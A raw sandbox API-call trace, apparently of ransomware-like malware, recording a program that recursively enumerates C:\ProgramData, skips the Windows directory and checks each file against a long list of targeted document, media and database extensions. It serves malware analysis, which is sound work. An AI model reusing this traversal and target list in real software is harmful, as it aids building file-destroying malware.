ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.519] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0059.522] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned 43 [0059.523] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned 1 [0059.524] lstrlenW (lpString="Views") returned 5 [0059.524] lstrcmpiW (lpString1="C:\\Windows", lpString2="Views") returned -1 [0059.525] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x40354e8 [0059.525] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned 43 [0059.526] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002288 [0059.530] FindNextFileW (in: hFindFile=0x4002288, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.531] FindNextFileW (in: hFindFile=0x4002288, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1 [0059.532] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned 68 [0059.533] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned 1 [0059.533] lstrlenW (lpString="ApplicationViewsRootNode") returned 24 [0059.534] lstrcmpiW (lpString1="C:\\Windows", lpString2="ApplicationViewsRootNode") returned 1 [0059.534] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3fe0050 [0059.534] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned 68 [0059.534] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002088 [0059.534] FindNextFileW (in: hFindFile=0x4002088, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.534] FindNextFileW (in: hFindFile=0x4002088, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0059.534] FindClose (in: hFindFile=0x4002088 | out: hFindFile=0x4002088) returned 1 [0059.534] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3fe0050 | out: hHeap=0x6c0000) returned 1 [0059.534] FindNextFileW (in: hFindFile=0x4002288, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0 [0059.534] FindClose (in: hFindFile=0x4002288 | out: hFindFile=0x4002288) returned 1 [0059.534] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40354e8 | out: hHeap=0x6c0000) returned 1 [0059.534] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0059.534] FindClose (in: hFindFile=0x4002308 | out: hFindFile=0x4002308) returned 1 [0059.534] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a206c8 | out: hHeap=0x6c0000) returned 1 [0059.534] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0059.534] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\IdentityCRL") returned 36 [0059.534] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\IdentityCRL") returned 1 [0059.534] lstrlenW (lpString="IdentityCRL") returned 11 [0059.534] lstrcmpiW (lpString1="C:\\Windows", lpString2="IdentityCRL") returned -1 [0059.535] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a206c8 [0059.535] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\IdentityCRL") returned 36 [0059.535] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002308 [0059.535] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.535] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0059.535] lstrlenW (lpString="ppcrlconfig.dll") returned 15 [0059.535] lstrlenW (lpString=".1cd") returned 4 [0059.535] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0059.535] lstrlenW (lpString=".3ds") returned 4 [0059.535] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0059.535] lstrlenW (lpString=".3fr") returned 4 [0059.535] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0059.535] lstrlenW (lpString=".3g2") returned 4 [0059.535] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0059.535] lstrlenW (lpString=".3gp") returned 4 [0059.535] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0059.535] lstrlenW (lpString=".7z") returned 3 [0059.535] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0059.535] lstrlenW (lpString=".accda") returned 6 [0059.535] lstrcmpiW (lpString1=".accda", lpString2="ig.dll") returned -1 [0059.535] lstrlenW (lpString=".accdb") returned 6 [0059.535] lstrcmpiW (lpString1=".accdb", lpString2="ig.dll") returned -1 [0059.535] lstrlenW (lpString=".accdc") returned 6 [0059.535] lstrcmpiW (lpString1=".accdc", lpString2="ig.dll") returned -1 [0059.535] lstrlenW (lpString=".accde") returned 6 [0059.535] lstrcmpiW (lpString1=".accde", lpString2="ig.dll") returned -1 [0059.535] lstrlenW (lpString=".accdt") returned 6 [0059.536] lstrcmpiW (lpString1=".accdt", lpString2="ig.dll") returned -1 [0059.536] lstrlenW (lpString=".accdw") returned 6 [0059.536] lstrcmpiW (lpString1=".accdw", lpString2="ig.dll") returned -1 [0059.536] lstrlenW (lpString=".adb") returned 4 [0059.536] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0059.536] lstrlenW (lpString=".adp") returned 4 [0059.536] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0059.536] lstrlenW (lpString=".ai") returned 3 [0059.536] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0059.536] lstrlenW (lpString=".ai3") returned 4 [0059.536] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0059.536] lstrlenW (lpString=".ai4") returned 4 [0059.536] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0059.536] lstrlenW (lpString=".ai5") returned 4 [0059.536] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0059.536] lstrlenW (lpString=".ai6") returned 4 [0059.536] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0059.536] lstrlenW (lpString=".ai7") returned 4 [0059.536] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0059.536] lstrlenW (lpString=".ai8") returned 4 [0059.536] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0059.536] lstrlenW (lpString=".anim") returned 5 [0059.536] lstrcmpiW (lpString1=".anim", lpString2="g.dll") returned -1 [0059.536] lstrlenW (lpString=".arw") returned 4 [0059.536] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0059.536] lstrlenW (lpString=".as") returned 3 [0059.536] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0059.536] lstrlenW (lpString=".asa") returned 4 [0059.536] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0059.536] lstrlenW (lpString=".asc") returned 4 [0059.536] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0059.536] lstrlenW (lpString=".ascx") returned 5 [0059.536] lstrcmpiW (lpString1=".ascx", lpString2="g.dll") returned -1 [0059.536] lstrlenW (lpString=".asm") returned 4 [0059.536] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0059.536] lstrlenW (lpString=".asmx") returned 5 [0059.537] lstrcmpiW (lpString1=".asmx", lpString2="g.dll") returned -1 [0059.537] lstrlenW (lpString=".asp") returned 4 [0059.537] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0059.537] lstrlenW (lpString=".aspx") returned 5 [0059.537] lstrcmpiW (lpString1=".aspx", lpString2="g.dll") returned -1 [0059.537] lstrlenW (lpString=".asr") returned 4 [0059.537] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0059.537] lstrlenW (lpString=".asx") returned 4 [0059.537] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0059.537] lstrlenW (lpString=".avi") returned 4 [0059.537] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0059.537] lstrlenW (lpString=".avs") returned 4 [0059.537] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0059.537] lstrlenW (lpString=".backup") returned 7 [0059.537] lstrcmpiW (lpString1=".backup", lpString2="fig.dll") returned -1 [0059.537] lstrlenW (lpString=".bak") returned 4 [0059.537] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0059.537] lstrlenW (lpString=".bay") returned 4 [0059.537] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0059.537] lstrlenW (lpString=".bd") returned 3 [0059.537] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0059.537] lstrlenW (lpString=".bin") returned 4 [0059.537] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0059.537] lstrlenW (lpString=".bmp") returned 4 [0059.537] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0059.537] lstrlenW (lpString=".bz2") returned 4 [0059.537] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0059.537] lstrlenW (lpString=".c") returned 2 [0059.537] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0059.537] lstrlenW (lpString=".cdr") returned 4 [0059.537] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0059.537] lstrlenW (lpString=".cer") returned 4 [0059.537] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0059.537] lstrlenW (lpString=".cf") returned 3 [0059.537] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0059.538] lstrlenW (lpString=".cfc") returned 4 [0059.538] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0059.538] lstrlenW (lpString=".cfm") returned 4 [0059.538] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0059.538] lstrlenW (lpString=".cfml") returned 5 [0059.538] lstrcmpiW (lpString1=".cfml", lpString2="g.dll") returned -1 [0059.538] lstrlenW (lpString=".cfu") returned 4 [0059.538] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0059.538] lstrlenW (lpString=".chm") returned 4 [0059.538] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0059.538] lstrlenW (lpString=".cin") returned 4 [0059.538] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0059.538] lstrlenW (lpString=".class") returned 6 [0059.538] lstrcmpiW (lpString1=".class", lpString2="ig.dll") returned -1 [0059.538] lstrlenW (lpString=".clx") returned 4 [0059.538] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0059.538] lstrlenW (lpString=".config") returned 7 [0059.538] lstrcmpiW (lpString1=".config", lpString2="fig.dll") returned -1 [0059.538] lstrlenW (lpString=".cpp") returned 4 [0059.538] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0059.538] lstrlenW (lpString=".cr2") returned 4 [0059.538] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0059.538] lstrlenW (lpString=".crt") returned 4 [0059.538] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0059.538] lstrlenW (lpString=".crw") returned 4 [0059.538] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0059.538] lstrlenW (lpString=".cs") returned 3 [0059.538] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0059.538] lstrlenW (lpString=".css") returned 4 [0059.538] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0059.538] lstrlenW (lpString=".csv") returned 4 [0059.538] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0059.538] lstrlenW (lpString=".cub") returned 4 [0059.538] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0059.538] lstrlenW (lpString=".dae") returned 4 [0059.538] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0059.539] lstrlenW (lpString=".dat") returned 4 [0059.539] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0059.539] lstrlenW (lpString=".db") returned 3 [0059.539] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0059.539] lstrlenW (lpString=".dbf") returned 4 [0059.539] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0059.539] lstrlenW (lpString=".dbx") returned 4 [0059.539] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0059.539] lstrlenW (lpString=".dc3") returned 4 [0059.539] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0059.539] lstrlenW (lpString=".dcm") returned 4 [0059.539] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0059.539] lstrlenW (lpString=".dcr") returned 4 [0059.539] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0059.539] lstrlenW (lpString=".der") returned 4 [0059.539] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0059.539] lstrlenW (lpString=".dib") returned 4 [0059.539] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0059.539] lstrlenW (lpString=".dic") returned 4 [0059.539] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0059.539] lstrlenW (lpString=".dif") returned 4 [0059.539] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0059.539] lstrlenW (lpString=".divx") returned 5 [0059.539] lstrcmpiW (lpString1=".divx", lpString2="g.dll") returned -1 [0059.539] lstrlenW (lpString=".djvu") returned 5 [0059.539] lstrcmpiW (lpString1=".djvu", lpString2="g.dll") returned -1 [0059.539] lstrlenW (lpString=".dng") returned 4 [0059.539] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0059.539] lstrlenW (lpString=".doc") returned 4 [0059.539] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0059.539] lstrlenW (lpString=".docm") returned 5 [0059.539] lstrcmpiW (lpString1=".docm", lpString2="g.dll") returned -1 [0059.539] lstrlenW (lpString=".docx") returned 5 [0059.539] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0059.539] lstrlenW (lpString=".dot") returned 4 [0059.539] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0059.540] lstrlenW (lpString=".dotm") returned 5 [0059.540] lstrcmpiW (lpString1=".dotm", lpString2="g.dll") returned -1 [0059.540] lstrlenW (lpString=".dotx") returned 5 [0059.540] lstrcmpiW (lpString1=".dotx", lpString2="g.dll") returned -1 [0059.540] lstrlenW (lpString=".dpx") returned 4 [0059.540] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0059.540] lstrlenW (lpString=".dqy") returned 4 [0059.540] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0059.540] lstrlenW (lpString=".dsn") returned 4 [0059.540] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0059.540] lstrlenW (lpString=".dt") returned 3 [0059.540] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0059.540] lstrlenW (lpString=".dtd") returned 4 [0059.540] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0059.540] lstrlenW (lpString=".dwg") returned 4 [0059.540] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0059.540] lstrlenW (lpString=".dwt") returned 4 [0059.540] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0059.540] lstrlenW (lpString=".dx") returned 3 [0059.540] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0059.540] lstrlenW (lpString=".dxf") returned 4 [0059.540] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0059.540] lstrlenW (lpString=".edml") returned 5 [0059.540] lstrcmpiW (lpString1=".edml", lpString2="g.dll") returned -1 [0059.540] lstrlenW (lpString=".efd") returned 4 [0059.540] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0059.540] lstrlenW (lpString=".elf") returned 4 [0059.540] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0059.540] lstrlenW (lpString=".emf") returned 4 [0059.540] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0059.540] lstrlenW (lpString=".emz") returned 4 [0059.540] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0059.540] lstrlenW (lpString=".epf") returned 4 [0059.540] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0059.540] lstrlenW (lpString=".eps") returned 4 [0059.541] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0059.541] lstrlenW (lpString=".epsf") returned 5 [0059.541] lstrcmpiW (lpString1=".epsf", lpString2="g.dll") returned -1 [0059.541] lstrlenW (lpString=".epsp") returned 5 [0059.541] lstrcmpiW (lpString1=".epsp", lpString2="g.dll") returned -1 [0059.541] lstrlenW (lpString=".erf") returned 4 [0059.541] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0059.541] lstrlenW (lpString=".exr") returned 4 [0059.541] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0059.541] lstrlenW (lpString=".f4v") returned 4 [0059.541] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0059.541] lstrlenW (lpString=".fido") returned 5 [0059.541] lstrcmpiW (lpString1=".fido", lpString2="g.dll") returned -1 [0059.541] lstrlenW (lpString=".flm") returned 4 [0059.541] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0059.541] lstrlenW (lpString=".flv") returned 4 [0059.541] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0059.541] lstrlenW (lpString=".frm") returned 4 [0059.541] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0059.541] lstrlenW (lpString=".fxg") returned 4 [0059.541] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0059.541] lstrlenW (lpString=".geo") returned 4 [0059.541] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0059.541] lstrlenW (lpString=".gif") returned 4 [0059.541] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0059.541] lstrlenW (lpString=".grs") returned 4 [0059.541] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0059.541] lstrlenW (lpString=".gz") returned 3 [0059.541] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0059.541] lstrlenW (lpString=".h") returned 2 [0059.541] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0059.541] lstrlenW (lpString=".hdr") returned 4 [0059.541] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0059.541] lstrlenW (lpString=".hpp") returned 4 [0059.541] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0059.541] lstrlenW (lpString=".hta") returned 4 [0059.542] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0059.542] lstrlenW (lpString=".htc") returned 4 [0059.542] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0059.542] lstrlenW (lpString=".htm") returned 4 [0059.542] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0059.542] lstrlenW (lpString=".html") returned 5 [0059.542] lstrcmpiW (lpString1=".html", lpString2="g.dll") returned -1 [0059.542] lstrlenW (lpString=".icb") returned 4 [0059.542] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0059.542] lstrlenW (lpString=".ics") returned 4 [0059.542] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0059.542] lstrlenW (lpString=".iff") returned 4 [0059.542] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0059.542] lstrlenW (lpString=".inc") returned 4 [0059.542] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0059.542] lstrlenW (lpString=".indd") returned 5 [0059.542] lstrcmpiW (lpString1=".indd", lpString2="g.dll") returned -1 [0059.542] lstrlenW (lpString=".ini") returned 4 [0059.542] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0059.542] lstrlenW (lpString=".iqy") returned 4 [0059.542] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0059.542] lstrlenW (lpString=".j2c") returned 4 [0059.542] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0059.542] lstrlenW (lpString=".j2k") returned 4 [0059.542] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0059.542] lstrlenW (lpString=".java") returned 5 [0059.542] lstrcmpiW (lpString1=".java", lpString2="g.dll") returned -1 [0059.542] lstrlenW (lpString=".jp2") returned 4 [0059.542] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0059.542] lstrlenW (lpString=".jpc") returned 4 [0059.542] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0059.542] lstrlenW (lpString=".jpe") returned 4 [0059.542] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0059.542] lstrlenW (lpString=".jpeg") returned 5 [0059.542] lstrcmpiW (lpString1=".jpeg", lpString2="g.dll") returned -1 [0059.542] lstrlenW (lpString=".jpf") returned 4 [0059.543] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".jpg") returned 4 [0059.543] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".jpx") returned 4 [0059.543] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".js") returned 3 [0059.543] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0059.543] lstrlenW (lpString=".jsf") returned 4 [0059.543] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".json") returned 5 [0059.543] lstrcmpiW (lpString1=".json", lpString2="g.dll") returned -1 [0059.543] lstrlenW (lpString=".jsp") returned 4 [0059.543] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".kdc") returned 4 [0059.543] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".kmz") returned 4 [0059.543] lstrcmpiW 